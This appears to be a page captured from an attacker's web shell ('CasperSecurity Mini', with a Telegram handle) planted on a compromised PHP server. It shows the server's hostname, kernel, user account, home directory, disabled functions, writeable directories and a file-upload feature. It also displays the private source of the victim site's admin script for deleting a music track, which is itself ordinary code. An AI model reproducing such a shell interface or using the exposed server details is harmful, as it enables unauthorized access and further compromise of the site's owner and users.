T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/delete_track_3.php
<?php
/**
 * Quick script to delete track ID 3
 * This uses the same deletion logic as admin_api.php
 */

session_start();
require_once 'config/database.php';
require_once 'includes/security.php';

// Validate admin access (only if accessed via web)
if (php_sapi_name() !== 'cli') {
    validateAdminAccess();
}

$track_id = 3;
$pdo = getDBConnection();

if (!$pdo) {
    die("❌ Database connection failed\n");
}

echo "<!DOCTYPE html>
<html>
<head>
    <title>Delete Track ID 3</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; background: #f5f5f5; }
        .container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; }
        .success { color: green; font-weight: bold; }
        .error { color: red; font-weight: bold; }
        .info { color: #666; }
    </style>
</head>
<body>
<div class='container'>
    <h1>đŸ—‘ī¸ Delete Track ID 3</h1>
";

// Verify track exists first
$stmt = $pdo->prepare("SELECT id, title, user_id, status FROM music_tracks WHERE id = ?");
$stmt->execute([$track_id]);
$track = $stmt->fetch(PDO::FETCH_ASSOC);

if (!$track) {
    echo "<p class='error'>❌ Track ID {$track_id} does not exist in the database.</p>";
    echo "<p><a href='admin.php?tab=tracks'>← Back to Admin</a></p>";
    echo "</div></body></html>";
    exit;
}

echo "<p class='info'>📋 Track found:</p>";
echo "<ul>";
echo "<li><strong>ID:</strong> {$track['id']}</li>";
echo "<li><strong>Title:</strong> " . htmlspecialchars($track['title'] ?? 'Untitled') . "</li>";
echo "<li><strong>User ID:</strong> {$track['user_id']}</li>";
echo "<li><strong>Status:</strong> {$track['status']}</li>";
echo "</ul>";

try {
    // Start transaction
    $pdo->beginTransaction();
    
    // Helper function to safely delete from a table (ignores if table doesn't exist)
    $safeDelete = function($table, $track_id) use ($pdo) {
        try {
            $stmt = $pdo->prepare("DELETE FROM {$table} WHERE track_id = ?");
            $stmt->execute([$track_id]);
            $deleted = $stmt->rowCount();
            return $deleted;
        } catch (PDOException $e) {
            // Ignore "table doesn't exist" errors, but log others
            if (strpos($e->getMessage(), "doesn't exist") === false) {
                error_log("Error deleting from {$table}: " . $e->getMessage());
                return -1; // Error
            }
            return 0; // Table doesn't exist, that's okay
        }
    };
    
    echo "<p class='info'>đŸ—‘ī¸ Deleting related data...</p>";
    
    // Delete related data first (foreign key constraints)
    $tables = [
        'audio_variations',
        'track_likes',
        'track_comments',
        'track_downloads',
        'track_plays',
        'track_views',
        'track_votes',
        'track_shares',
        'track_purchases',
        'playlist_tracks',
        'sales'
    ];
    
    $deleted_counts = [];
    foreach ($tables as $table) {
        $count = $safeDelete($table, $track_id);
        if ($count > 0) {
            echo "<p class='info'>✅ Deleted {$count} records from {$table}</p>";
            $deleted_counts[$table] = $count;
        } elseif ($count === 0) {
            echo "<p class='info'>â„šī¸ No records found in {$table} (or table doesn't exist)</p>";
        } else {
            echo "<p class='error'>❌ Error deleting from {$table}</p>";
        }
    }
    
    // Delete the main track
    echo "<p class='info'>đŸ—‘ī¸ Deleting main track...</p>";
    $stmt = $pdo->prepare("DELETE FROM music_tracks WHERE id = ?");
    $stmt->execute([$track_id]);
    $deleted = $stmt->rowCount();
    
    if ($deleted > 0) {
        echo "<p class='success'>✅ Deleted {$deleted} track(s) from music_tracks</p>";
    } else {
        echo "<p class='error'>❌ Failed to delete track from music_tracks</p>";
        $pdo->rollBack();
        echo "<p class='error'>❌ Transaction rolled back</p>";
        echo "</div></body></html>";
        exit;
    }
    
    // Verify deletion
    $verify_stmt = $pdo->prepare("SELECT id FROM music_tracks WHERE id = ?");
    $verify_stmt->execute([$track_id]);
    if ($verify_stmt->fetch()) {
        $pdo->rollBack();
        echo "<p class='error'>❌ Track deletion failed - track still exists after deletion attempt</p>";
        echo "<p class='error'>❌ Transaction rolled back</p>";
    } else {
        // Commit transaction
        $pdo->commit();
        echo "<p class='success'>✅ Track ID {$track_id} deleted successfully!</p>";
        echo "<p class='success'>✅ Transaction committed</p>";
        
        echo "<h2>Summary</h2>";
        echo "<ul>";
        foreach ($deleted_counts as $table => $count) {
            echo "<li>{$table}: {$count} records deleted</li>";
        }
        echo "<li>music_tracks: 1 record deleted</li>";
        echo "</ul>";
    }
    
} catch (Exception $e) {
    if ($pdo->inTransaction()) {
        $pdo->rollBack();
    }
    echo "<p class='error'>❌ Error deleting track: " . htmlspecialchars($e->getMessage()) . "</p>";
    echo "<p class='error'>❌ Transaction rolled back</p>";
}

echo "<p><a href='admin.php?tab=tracks'>← Back to Admin Tracks</a></p>";
echo "<p><a href='community_fixed.php'>← View Community</a></p>";
echo "</div></body></html>";
?>


CasperSecurity Mini